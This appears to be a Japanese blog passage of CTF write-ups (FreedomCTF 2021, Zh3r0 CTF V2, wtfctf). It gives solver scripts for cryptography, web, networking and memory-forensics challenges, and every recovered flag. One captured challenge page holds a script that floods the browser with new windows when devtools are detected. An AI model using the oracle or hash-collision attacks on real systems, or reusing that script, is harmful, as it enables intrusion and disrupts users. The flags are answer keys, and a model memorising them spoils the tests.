        if try_ct[16:32] == try_ct[32:48]:
            flag += chr(code)
            break

print flag

実行結果は以下の通り。

                :
Crewmate! enter your situation report: shell{kinda_susx
xX+NDjg0X9tmJLobdQv9k67DKHeF54A/Dl4yLqvdeXc83+M72twqaKyBgeUW2zjo
Crewmate! enter your situation report: shell{kinda_susy
xX+NDjg0X9tmJLobdQv9k2GUUpmSt/pkv1mwX2MCxr883+M72twqaKyBgeUW2zjo
Crewmate! enter your situation report: shell{kinda_susz
xX+NDjg0X9tmJLobdQv9k9YBp9lWZiOWtrScZf0P5v083+M72twqaKyBgeUW2zjo
Crewmate! enter your situation report: shell{kinda_sus{
xX+NDjg0X9tmJLobdQv9k/zabogRr3MjhFPzSiLZ9zY83+M72twqaKyBgeUW2zjo
Crewmate! enter your situation report: shell{kinda_sus|
xX+NDjg0X9tmJLobdQv9kzkXxh9nJyHpbyIhVXR7i9U83+M72twqaKyBgeUW2zjo
Crewmate! enter your situation report: shell{kinda_sus}
xX+NDjg0X9tmJLobdQv9kzzf4zva3CporIGB5RbbOOg83+M72twqaKyBgeUW2zjo
shell{kinda_sus}
shell{kinda_sus}

FreedomCTF Spring 2021 Writeup

この大会は2021/6/5 13:00(JST)~2021/6/7 13:00(JST)に開催されました。
今回もチームで参戦。結果は660点で234チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Simple Discord (Miscellaneous 5)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

flag{u3eD1scordf0rH3lp}

Sanity Check (Miscellaneous 5)

豚の学名を答える。

flag{Sus}

TCP Fact (Networking 5)

TCP/IPプロトコルを実装した最初のネットワークを答える。

flag{ARPANET}

Toujours (Cryptography 25)

暗号文は以下のようになっている。

Dans la béatitude pour toujours
Dans la félicité en une infinité
Dans la gloire irrévocablement
éternellement à perpétuité
Dans la divinité pour toujours
à perpétuité dans la lumière

https://www.dcode.fr/ave-maria-trithemeで復号する。

UORDLIKEPOEM

U,V,Wは同じ暗号なので、意味が通るように調整する。

flag{wordlikepoem}

Behind the Scene (Web Exploitation 5)

http://networking.freedomctf.org/.envにアクセスすると、以下のbase64らしき文字列が書いてあった。

mxhZ3sxeXQxNzE4MXk3ODE4OTE3MTcxfQ==

先頭に"Z"をつけて、base64デコードする。

$ echo ZmxhZ3sxeXQxNzE4MXk3ODE4OTE3MTcxfQ== | base64 -d
flag{1yt17181y7818917171}
flag{1yt17181y7818917171}

IP Lookup (Networking 5)

networking.freedomctf.orgのIPを答える。

$ nslookup networking.freedomctf.org
Server:		127.0.0.53
Address:	127.0.0.53#53

Non-authoritative answer:
Name:	networking.freedomctf.org
Address: 18.189.22.84
flag{18.189.22.84}

Pretty Sunset (Forensics, Steganography 25)

jpgが添付されている。Stegsolveで開き、Blue plane 0を見ると、フラグが書いてあった。
f:id:satou-y:20210620205942p:plain

flag{Hidden_l1ke_a_pro}

Zip Up Prep Up (Forensics, Steganography 5)

$ unzip flag.zip
Archive:  flag.zip
 extracting: flag/.hidden            
 extracting: flag/flag               
 extracting: flag/flag2              
 extracting: flag/flag3              
 extracting: flag/flag4              
 extracting: flag/flag5              
 extracting: flag/hidden             
 extracting: flag/hidden1            
 extracting: flag/hidden2            
 extracting: flag/hidden3            
 extracting: flag/hidden4            
$ cat flag/.hidden
flag{h0wt0unz1pan43xtracta_7ile}
flag{h0wt0unz1pan43xtracta_7ile}

Bee Sixty Four (Cryptography 5)

base64文字列をデコードするだけの問題。

$ echo ZmxhZ3tSaWdodDBmZl90aGVfQjR0fQ== | base64 -d
flag{Right0ff_the_B4t}
flag{Right0ff_the_B4t}

Assembly 1 (Reverse Engineering 5)

アセンブラファイルから実行ファイルを作成して実行する。

$ as -o Assembly1.o Assembly1.s
$ gcc -o Assembly1 Assembly1.o
$ ./Assembly1
flag{Assembly_is_fun_3dws9r}
flag{Assembly_is_fun_3dws9r}

Netting (Networking 5)

freedomctf.orgのIPアドレス、サブネットクラス、サブネットマスクを答える。

$ nslookup freedomctf.org
Server:		127.0.0.53
Address:	127.0.0.53#53

Non-authoritative answer:
Name:	freedomctf.org
Address: 172.67.178.180
Name:	freedomctf.org
Address: 104.21.88.120
Name:	freedomctf.org
Address: 2606:4700:3031::6815:5878
Name:	freedomctf.org
Address: 2606:4700:3033::ac43:b2b4

第一オクテットが172のため、Bクラスでサブネットマスクは255.255.0.0。

flag{172.67.178.180_B_255.255.0.0}

Stick Bug (Cryptography 25)

黄金虫の暗号。https://www.dcode.fr/gold-bug-poeで復号する。

PHRYGANISTRIA CHINENSIS
flag{phryganistria chinensis}

Networking Recon? (Networking 25)

Webサーバの使用サーバ名とバージョンを答える。
存在しないパスを指定してアクセスすると、Not Foundとなり、Webサーバの情報が表示された。

Apache/2.4.41 (Ubuntu) Server at networking.freedomctf.org Port 80
flag{Apache_2.4.41}

Failed Inspection (Web Exploitation 25)

ブラウザでアクセスすると、リダイレクトしているようだったので、curlでリダイレクトさせずにアクセスする。

$ curl https://failedinspection.freedomctf.org/
<!DOCTYPE html>
<html>
  <head>
    <style>
      * {
        margin: 0;
        padding: 0;
      }

      body {
        background-color: rgb(197, 190, 190);
        font-family: "Lucida Handwriting";
        font-size: 30px;
      }

      h1 {
        color: rgb(216, 129, 71);
        text-align: center;
        font-size: 60px;
      }

      h2 {
        color: rgb(80, 82, 105);
        text-align: center;
        font-size: 40px;
      }

      img {
        width: 185px;
        height: 259px;
      }

      .center-container {
        display: flex;
        width: 100%;
        justify-content: space-around;
        margin-top: 10vh;
      }
    </style>
  </head>

  <body>
    <h1>Inspector:</h1>
    <h2>Was your most recent inspection failed?</h2>

    <div class="center-container">
      <div>
        Contact Michael C. Westfall today at:
        <ul style="margin-left: 5vw">
          <li><a href="michael.westfall@osig.virginia.gov">Email</a></li>
          <li><a href="(804) 625-3255">Phone Number</a></li>
          <li><a href="(804) 786-2341">Fax</a></li>
        </ul>
      </div>
      <div>
        <img src="DeputyInspectorGeneral.jpg" />
      </div>
    </div>
    <script>
      window.onresize = function () {
        if (window.outerHeight - window.innerHeight > 100) {
          // console was opened (or screen was resized)
            while(true){
                window.open();
            }
        }
      };

      document.addEventListener("contextmenu", (event) =>
        event.preventDefault()
      );
      window.addEventListener("load", (event) => {
        // window.open();
        window.close();
        document.close();
      });
      document.onkeydown = function (e) {
        if (event.keyCode == 123) {
          return false;
        }
        if (e.ctrlKey) {
          return false;
        }
        return false;
      };
    </script>
  </body>
  <!--Their inspection might have failed, but you passed! flag{N0_insp3ct_n0_prOb|3m}-->
</html>
flag{N0_insp3ct_n0_prOb|3m}

Triangle (Forensics, Steganography 5)

$ exiftool triANGLE.png 
ExifTool Version Number         : 10.80
File Name                       : triANGLE.png
Directory                       : .
File Size                       : 83 kB
File Modification Date/Time     : 2021:06:05 16:51:36+09:00
File Access Date/Time           : 2021:06:05 16:52:14+09:00
File Inode Change Date/Time     : 2021:06:05 16:51:36+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1688
Image Height                    : 828
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Author                          : flag{KVzPgxqTaKuBRAVRWaLs}
Image Size                      : 1688x828
Megapixels                      : 1.4

!Apple (Reverse Engineering 50)

Bytecode Viewerで開き、デコンパイルする。

package com.example.apkchallenge;

import android.os.Bundle;
import android.view.View;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import com.example.apkchallenge.MainActivity.1;
import com.example.apkchallenge.MainActivity.2;

public class MainActivity extends AppCompatActivity {
   public void callLoginServices() {
      Volley.newRequestQueue(this).add(new StringRequest(0, "https://phaleroviamobile.freedomctf.org/secret-message", new 1(this), new 2(this)));
   }

   protected void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(2131427356);
   }

   public void sendLogin(View var1) {
      TextView var3 = (TextView)this.findViewById(2131231010);
      TextView var2 = (TextView)this.findViewById(2131230915);
      var3.getText().toString();
      var2.getText().toString();
      this.callLoginServices();
   }
}

https://phaleroviamobile.freedomctf.org/secret-messageにアクセスしてみるとフラグが書いてあった。

flag{Droid_Broid_bot}

Cap Cap (Networking 25)

ftp-dataの通信でフィルタリングする。その通信パケット中にあるpart1.png~part11.png、part13.pngの画像をエクスポートする。part12.pngはなかった。拡大・縮小しながら組み合わせると、一部が欠けたQRコードになる。
f:id:satou-y:20210620211548p:plain
これをテキストにして読み込む。

$ cat qr.txt
XXXXXXX_X_XXXXX___XXXXXXX
X_____X_XX____X_X_X_____X
X_XXX_X__XXX_X__X_X_XXX_X
X_XXX_X_X_XXXX_XX_X_XXX_X
X_XXX_X__XXX_X_X__X_XXX_X
X_____X___X__X____X_____X
XXXXXXX_X_X_X_X_X_XXXXXXX
________XXX_X__X_________
X_XX_XXX___XX_____X__X_XX
XXXXX__X_XXX__X_X__X_X___
XX_XXXXX___X_XX_X_XXXX___
__XXX_______XXXX__XX_XX__
_X_X_XXXXX___X_X_XXXXXXX_
_X_X______XX___XXXX_XX_XX
_XXX_XXX_X__XXX__X_X_X_X_
X___XX_XX___X__XXX__X____
____XXXX_XXX_X_XXXXXXXX__
________X___X_X_X___X???X
XXXXXXX_XXXXX_X_X_X_X???X
X_____X_XX__X__XX___X???X
X_XXX_X___XXXX__XXXXX____
X_XXX_X_XX__XX___XX?????X
X_XXX_X_XX_XXX_____?????_
X_____X__XX____X_XX?????_
XXXXXXX_XXX_X_XX_X_?????X
$ python sqrd.py qr.txt
flag{fix1ng_1mgs18934}
flag{fix1ng_1mgs18934}

RSA-ONE (Cryptography 5)

p, qがわかっているので、そのまま復号する。

from Crypto.Util.number import *

p = 13096400414421552156969028937353174744908047161155295408964887163262826826036521470217012894200517287339110399380688376522626855275687133288684619779082547
q = 12840054857178763772230365613402198055084749343413307404027010001945719437978924658864009419366334955476170242725335489155132647907960715147801905246920609
e = 65537
ct = 32305409026163713222859212354020077015304928685327842744369445191616303537762118069639355953458045773045005993195097944549512923751703719047488817344339599720835627540521189095721269570852022720021666021201899667129233207585472537514546031754665930962489472140040978466147507216004529382189503453518588974947

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m)
print flag
flag{hellothisisthersaanswer}

CRT0-Q1 (Cryptography 5)

暗号化の処理概要は以下の通り。

・encr(apjubh(phrase))
 ・apjubh()
  文字列の順序を逆にする
 ・encr()
  ・key:1~5のランダム値
  ・keyだけシフト
  ・~をZに置換
  ・%をQに置換

keyの5パターンについて、元に戻して英単語として成り立つものを選択する。

enc = 'l4butzb9`b`oJ`fmef4O'

enc = enc.replace('Z', '~')
enc = enc.replace('Q', '%')

for key in range(1, 6):
    dec = ''
    for i in range(len(enc)):
        dec += chr(ord(enc[i]) - key)
    flag = 'flag{%s}' % dec[::-1]
    print flag

実行結果は以下の通り。

flag{N3edle_In_a_8aysta3k}
flag{M2dckd^Hm^`^7`xrs`2j}
flag{L1cbjc]Gl]_]6_wqr_1i}
flag{K0baib\Fk\^\5^vpq^0h}
flag{J/a`ha[Ej[][4]uop]/g}
flag{N3edle_In_a_8aysta3k}

RSA-TWO (Cryptography 25)

nをfactordbで素因数分解する。

n = 12968523063040435873 * 14978383016497116121

あとはそのまま復号するが文字にならない。復号した数値を3桁ごとに区切り、ASCIIコードとしてデコードする。

from Crypto.Util.number import *

e = 23
n = 194247505596496023881578032915335008633
ct1 = 65205298022099085283449917096537195340
ct2 = 152080695252271793478056704090860133614

p = 12968523063040435873
q = 14978383016497116121
assert n == p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m1 = pow(ct1, d, n)
m2 = pow(ct2, d, n)

s_m1 = str(m1)
s_m2 = str(m2)

flag = ''
for i in range(0, len(s_m1), 3):
    flag += chr(int(s_m1[i:i+3]))
for i in range(0, len(s_m2), 3):
    flag += chr(int(s_m2[i:i+3]))

print flag
flag{rsa_trouble_dyx1x}

CRT1-Q2 (Cryptography 25)

暗号処理の概要は以下の通り。

・フラグを5行8列に横に並べ、空きの箇所は"Z"で埋める。
・縦に読み、文字列にする。
・順を逆にする。

以上を元に逆算する。

enc = '74CEE12EB1C1A00FF30FD37B74EF2477B37C957D'
enc = enc[::-1]

flag = ''
for r in range(5):
    for c in range(8):
        flag += enc[r + c * 5]

flag = 'flag{%s}' % flag
print flag
flag{D747F01E732B00BE5BF73AEC97E3F124C74DFC17}

Enigma (Cryptography 25)

条件を元にring settingのブルートフォースで復号する。hintを見ると次のように書いてあるので、条件を満たすもののみ出力する。

Three decoded characters in the flag are: 'loo'
from enigma.machine import EnigmaMachine
import itertools

ciphertext = 'cazmgsczlrkrkmnlhsvvma'

for ring in itertools.product(range(26), repeat=3):
    machine = EnigmaMachine.from_key_sheet(
        rotors = 'I II III',
        reflector = 'B',
        ring_settings = list(ring),
        plugboard_settings='GD HR IC KO ML QU PZ WA FN BS')
    machine.set_display('IQL')
    plaintext = machine.process_text(ciphertext.upper())
    if 'loo' in plaintext.lower():
        print plaintext

実行結果は以下の通り。

EPSCKMOREBHVVZMJTRJLOO
UNSJMYLOOOZTPDKQZRFENK
YCQSLOOXBVGQWTWJPEINSD
QLUCLHUCPLOOHCRUSCJCQP
XCIHUMILOOIYWIBYTUEMBG
VSDLOOQBIZPHGBXGIRASPG
JZQNTQJRUILOOTZIKOIQES
HLOOSAIXWTYWTXUIXTNYUQ
PMAKLTULOOXONXRXCHQXIH
TLVIBEUGTOXVQFXCYXLOOK
BKIQDRJUQGLOOTQQIRCQSJ
AUCRLOOAFUGTYWURQJXFGO
XOWQILGOOQIXTLOOAUAHAH
MEFODUPLOOIKPYCCIKYBYE
UENFWRFLVLOOQCPQZHDRGQ
ENGIMAANDLOOPISNOTHARD★
LLQFDDLOOYVFJVPSQNGJGQ
FKLOOMXXKBZKHPWEPVIUNJ
WQOCKEDGSSLOOKEFTCTPZR
LCTGAMVFUFWSJLOOALOPCC
LOOKKZAMSSSXNSUKPLBTJY
INADUDMYNHBMLOORNYAZXP
FYOZKLOOWKBYOSZWVGYQJK
DLRNJAFINPNXEWOSDALOOY
flag{ENGIMAANDLOOPISNOTHARD}

Zh3r0 CTF V2 Writeup

この大会は2021/6/4 19:30(JST)~2021/6/6 19:30(JST)に開催されました。
今回もチームで参戦。結果は802点で509チーム中84位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (Miscellaneous)

ボットとのダイレクトメッセージの画面で、キャプチャの画面があったので、それ通りに入力したら、認証され、たくさんのチャネルが現れた。
#generalチャネルのトピックにフラグが書いてあった。

zh3r0{pepega_welcomes_you}

alice_bob_dave (Cryptography)

コードから以下のことがわかる。

p, q, rが素数で、p*qがn_a、p*rがn_b
d_a * e = phin_a * K1 + 1
d_b * e = phin_b * K2 + 1

d_a * e - 1 と d_b * e - 1の公約数がp-1の倍数
d_a * e - 1 は q -1の倍数
d_b * e - 1 は r -1の倍数

このことを元に、総当たりする。

from Crypto.Util.number import *

with open('out.txt', 'r') as f:
    ct_a = int(f.readline().rstrip().split('=')[1])
    ct_b = int(f.readline().rstrip().split('=')[1])
    d_a = int(f.readline().rstrip().split('=')[1])
    d_b = int(f.readline().rstrip().split('=')[1])
    e = int(f.readline().rstrip().split('=')[1])

gcd = GCD(d_a * e - 1, d_b * e - 1)

assert gcd == 2**2 * 3**2 * 1543 * 36097 * 1014259 * 17275267 * 33878479 * 64555363525704839503363 * 13843294374590501153575359748767274126053352729479537741977678154837940367725830968854964957283527886754718756686680847922782086222027205796563115693252960446483090290176656020345895604792952692850026400036720222060460108513404092975304800801154763470020377

found = False
for p1 in [1, 3, 9]:
    for p2 in [1, 1543]:
        for p3 in [1, 36097]:
            for p4 in [1, 1014259]:
                for p5 in [1, 17275267]:
                    for p6 in [1, 33878479]:
                        for p7 in [1, 64555363525704839503363]:
                            for p8 in [1, 13843294374590501153575359748767274126053352729479537741977678154837940367725830968854964957283527886754718756686680847922782086222027205796563115693252960446483090290176656020345895604792952692850026400036720222060460108513404092975304800801154763470020377]:
                                p = 2 * p1 * p2 * p3 * p4 * p5 * p6 * p7 * p8 + 1
                                p_len = p.bit_length()
                                if p_len >= 1024 and p_len < e and isPrime(p):
                                    found = True
                                    break
                            if found:
                                break
                        if found:
                            break
                    if found:
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        break

assert (p - 1) == 2 * 3 * 1543 * 36097 * 1014259 * 17275267 * 33878479 * 64555363525704839503363 * 13843294374590501153575359748767274126053352729479537741977678154837940367725830968854964957283527886754718756686680847922782086222027205796563115693252960446483090290176656020345895604792952692850026400036720222060460108513404092975304800801154763470020377

q1_mul = (d_a * e - 1) // (p - 1)

assert q1_mul == 2 * 3 * 17 * 28477 * 446123 * 3425679978376722446974230434232163920387229130754907722265986179928914393151313003930026636801644623099638625399801901729015562443496707013076331076237419405886597644185021528782663003968243002532905487627662567073247807979311630226501920897804604814041174853131931494489398720132565094809828020782561

found = False
for q1 in [1, 3]:
    for q2 in [1, 17]:
        for q3 in [1, 28477]:
            for q4 in [1, 446123]:
                for q5 in [1, 3425679978376722446974230434232163920387229130754907722265986179928914393151313003930026636801644623099638625399801901729015562443496707013076331076237419405886597644185021528782663003968243002532905487627662567073247807979311630226501920897804604814041174853131931494489398720132565094809828020782561]:
                    q = 2 * q1 * q2 * q3 * q4 * q5 + 1
                    q_len = q.bit_length()
                    if q_len >= 1024 and q_len < e and isPrime(q):
                        found = True
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        break

r1_mul = (d_b * e - 1) // (p - 1)

assert r1_mul == 2 * 3 * 5 * 7**2 * 1061 * 3628661705374329801288584656206517727469079240696568564912797145160579905203512130357711158521367796173130983769813752899084424100760957640159746556085008812434696654436784654212606745417711422551821253640083639947075320534392852628962946756153019439438678191911446280633672359886787115206132834040058986343

found = False
for r1 in [1, 3]:
    for r2 in [1, 5]:
        for r3 in [1, 7, 49]:
            for r4 in [1, 1061]:
                for r5 in [1, 3628661705374329801288584656206517727469079240696568564912797145160579905203512130357711158521367796173130983769813752899084424100760957640159746556085008812434696654436784654212606745417711422551821253640083639947075320534392852628962946756153019439438678191911446280633672359886787115206132834040058986343]:
                    r = 2 * r1 * r2 * r3 * r4 * r5 + 1
                    r_len = r.bit_length()
                    if r_len >= 1024 and r_len < e and isPrime(r):
                        found = True
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        break

print '[+] p =', p
print '[+] q =', q
print '[+] r =', r

n_a = p * q
n_b = p * r
phin_a = (p - 1) * (q - 1)
phin_b = (p - 1) * (r - 1)
d_a = inverse(e, phin_a)
d_b = inverse(e, phin_b)
pt_a = pow(ct_a, d_a, n_a)
pt_b = pow(ct_b, d_b, n_b)
msg_a = long_to_bytes(pt_a)
msg_b = long_to_bytes(pt_b)
print '[+] msg_a:', msg_a
print '[+] msg_b:', msg_b

実行結果は以下の通り。

[+] p = 177279130816191665059944783286411855023035031289227941571673915784074353287733189099688126318264113305321082059619767094038966996649561164342515779196140056547333435193040798074799909334916510316728847254833619137382153503950749154356946058670079132324988450725735937306884337410304401871741381990982764516163
[+] q = 155884012157322571917571429609117477794801005792976713173607792359939561733216007547732077875565730627490168412882054028115468195925968305125054508969875158276459353283308944667481012666571096247936714275405402155862690247593753125976847078582510938772358086998385220759841590572613434454768180423789003022307
[+] r = 152403791625721851654120555560673744553701328109255879726337480096744356018547509475023868657897447439271501318332177621761545812231960220886709355355570370122257259486344955476929483307543879747176492652883512877777163462444499810416443763758426816456424484060280743786614239115245058838657579029682477426407
[+] msg_a: Hey Dave its Alice here.My flag is zh3r0{GCD_c0m3s_
[+] msg_b: Hey Dave its Bob here.My flag is 70_R3sCue_3742986}
zh3r0{GCD_c0m3s_70_R3sCue_3742986}

chaos (Cryptography)

パラメータの値で検索すると、Chaotic Hash Functionのことが書いてある。https://eprint.iacr.org/2005/403.pdfには衝突について書いてあるので、その値をそのまま使い、投入する。

$ nc crypto.zh3r0.cf 2222
input first string to hash : 0124fdce89ab57eaba89370afedc45ef401ab257b7cd34e176b3a27cf13c3adf
input second string to hash : 0124fdce89ab57eaba89370afedc45efbfe54da84832cb1e894c5d830ec3c520
b'zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure} ,courtsey crazy contini : https://littlemaninmyhead.wordpress.com/2015/09/28/so-you-want-to-learn-to-break-ciphers/'
zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure}

wtfctf Writeup

この大会は2021/6/3 15:30(JST)~2021/6/5 15:30(JST)に開催されました。
今回もチームで参戦。結果は4138点で353チーム中8位でした。
自分で解けた問題をWriteupとして書いておきます。

K3YL0gg3r (Miscellaneous)

画像にキー入力らしきものの文字が並んでいる。vi上のキー入力と考え調整しながら、入力を試す。

$ vi keylogger.txt
$ cat keylogger.txt
d3RmQ1RGe1ZpbV9lRGl0MHJfaSRfNHdlUzBtRX0=
$ cat keylogger.txt | base64 -d
wtfCTF{Vim_eDit0r_i$_4weS0mE}
wtfCTF{Vim_eDit0r_i$_4weS0mE}

R3veng3 0f th3 Inv151ble (Miscellaneous)

Whitespace言語。https://www.dcode.fr/whitespace-languageで復号する。

wtfCTF{wsp4c3s_m4tt3r!}

W1n_W0n (Miscellaneous)

$ volatility -f Challenge.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/Challenge.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c450a0L
          Number of Processors : 4
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c46d00L
                KPCR for CPU 1 : 0xfffff880009ef000L
                KPCR for CPU 2 : 0xfffff88002f69000L
                KPCR for CPU 3 : 0xfffff88002fdf000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-05-21 07:23:36 UTC+0000
     Image local date and time : 2021-05-21 00:23:36 -0700

$ volatility -f Challenge.raw --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8003518460:csrss.exe                         388    364      9    491 2021-05-21 07:21:37 UTC+0000
 0xfffffa8003115360:wininit.exe                       432    364      4     84 2021-05-21 07:21:37 UTC+0000
. 0xfffffa800794db30:lsass.exe                        544    432      9    562 2021-05-21 07:21:37 UTC+0000
. 0xfffffa800242c8a0:lsm.exe                          556    432     10    144 2021-05-21 07:21:37 UTC+0000
. 0xfffffa800313c060:services.exe                     496    432     13    222 2021-05-21 07:21:37 UTC+0000
.. 0xfffffa80034e9b30:svchost.exe                     960    496     21    468 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa80035d76c0:svchost.exe                    1160    496     22    338 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa8003541b30:spoolsv.exe                    1132    496     15    291 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa8002a7ab30:dllhost.exe                    1932    496     18    213 2021-05-21 07:21:39 UTC+0000
.. 0xfffffa800346c560:svchost.exe                     912    496     37    870 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa8003ce4b30:WmiApSrv.exe                   2324    496      8    124 2021-05-21 07:22:00 UTC+0000
.. 0xfffffa800274e5a0:svchost.exe                     668    496     12    375 2021-05-21 07:21:37 UTC+0000
... 0xfffffa8003c18890:WmiPrvSE.exe                  1028    668     13    302 2021-05-21 07:21:59 UTC+0000
... 0xfffffa8007bef370:dllhost.exe                    824    668      6    257 2021-05-21 07:23:37 UTC+0000
... 0xfffffa800373bb30:WmiPrvSE.exe                  1604    668     12    206 2021-05-21 07:21:39 UTC+0000
.. 0xfffffa8003447360:svchost.exe                     880    496     23    525 2021-05-21 07:21:38 UTC+0000
... 0xfffffa80037055a0:dwm.exe                       1496    880      6     77 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa80039f8960:msdtc.exe                      2204    496     15    159 2021-05-21 07:21:39 UTC+0000
.. 0xfffffa80034df060:svchost.exe                     328    496     15    512 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa8003ae5b30:SearchIndexer.                 2576    496     17    660 2021-05-21 07:21:44 UTC+0000
... 0xfffffa8003bd1250:SearchProtocol                2728   2576      8    284 2021-05-21 07:21:45 UTC+0000
... 0xfffffa8003bbab30:SearchFilterHo                2692   2576      6    101 2021-05-21 07:21:45 UTC+0000
.. 0xfffffa80037a3b30:taskhost.exe                   1568    496     11    156 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa8008a20250:svchost.exe                    2376    496      7     97 2021-05-21 07:21:41 UTC+0000
.. 0xfffffa80033ff920:svchost.exe                     840    496     21    421 2021-05-21 07:21:37 UTC+0000
... 0xfffffa80034a6310:audiodg.exe                    992    840      7    133 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa800377fb30:dllhost.exe                    1356    496     24    217 2021-05-21 07:21:39 UTC+0000
.. 0xfffffa801cec81c0:VGAuthService.                 1488    496      4     87 2021-05-21 07:21:38 UTC+0000
.. 0xfffffa8003251630:svchost.exe                     748    496      7    284 2021-05-21 07:21:37 UTC+0000
.. 0xfffffa8003ae1950:VSSVC.exe                      2480    496      8    124 2021-05-21 07:21:41 UTC+0000
.. 0xfffffa80037cbb30:vmtoolsd.exe                   1656    496     12    279 2021-05-21 07:21:38 UTC+0000
 0xfffffa8000ca46f0:System                              4      0    104    487 2021-05-21 07:21:31 UTC+0000
. 0xfffffa80029099d0:smss.exe                         292      4      2     32 2021-05-21 07:21:31 UTC+0000
 0xfffffa80036d7b30:explorer.exe                     1524   1428     40    955 2021-05-21 07:21:38 UTC+0000
. 0xfffffa8003cf51b0:cmd.exe                          832   1524      1     19 2021-05-21 07:21:59 UTC+0000
. 0xfffffa8001e05940:WinRAR.exe                      1640   1524      5    222 2021-05-21 07:23:29 UTC+0000
. 0xfffffa80038a4b30:vm3dservice.ex                  1900   1524      5     47 2021-05-21 07:21:38 UTC+0000
. 0xfffffa8006b2d060:MRCv120.exe                     2984   1524     18    299 2021-05-21 07:22:27 UTC+0000
. 0xfffffa80038ba310:vmtoolsd.exe                    1916   1524      9    172 2021-05-21 07:21:38 UTC+0000
 0xfffffa8002bceaa0:csrss.exe                         448    440     10    247 2021-05-21 07:21:37 UTC+0000
. 0xfffffa8003cfa2d0:conhost.exe                     2300    448      3     51 2021-05-21 07:21:59 UTC+0000
 0xfffffa8007dbd9d0:winlogon.exe                      528    440      5    117 2021-05-21 07:21:37 UTC+0000

$ volatility -f Challenge.raw --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    292
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid:    388
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid:    432
Command line : wininit.exe
************************************************************************
csrss.exe pid:    448
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
services.exe pid:    496
Command line : C:\Windows\system32\services.exe
************************************************************************
winlogon.exe pid:    528
Command line : winlogon.exe
************************************************************************
lsass.exe pid:    544
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid:    556
Command line : C:\Windows\system32\lsm.exe
************************************************************************
svchost.exe pid:    668
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid:    748
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
svchost.exe pid:    840
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid:    880
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid:    912
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
audiodg.exe pid:    992
Command line : C:\Windows\system32\AUDIODG.EXE 0x2e4
************************************************************************
svchost.exe pid:    328
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid:    960
Command line : C:\Windows\system32\svchost.exe -k NetworkService
************************************************************************
spoolsv.exe pid:   1132
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid:   1160
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
VGAuthService. pid:   1488
Command line : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
************************************************************************
dwm.exe pid:   1496
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid:   1524
Command line : C:\Windows\Explorer.EXE
************************************************************************
taskhost.exe pid:   1568
Command line : "taskhost.exe"
************************************************************************
vmtoolsd.exe pid:   1656
Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
************************************************************************
vm3dservice.ex pid:   1900
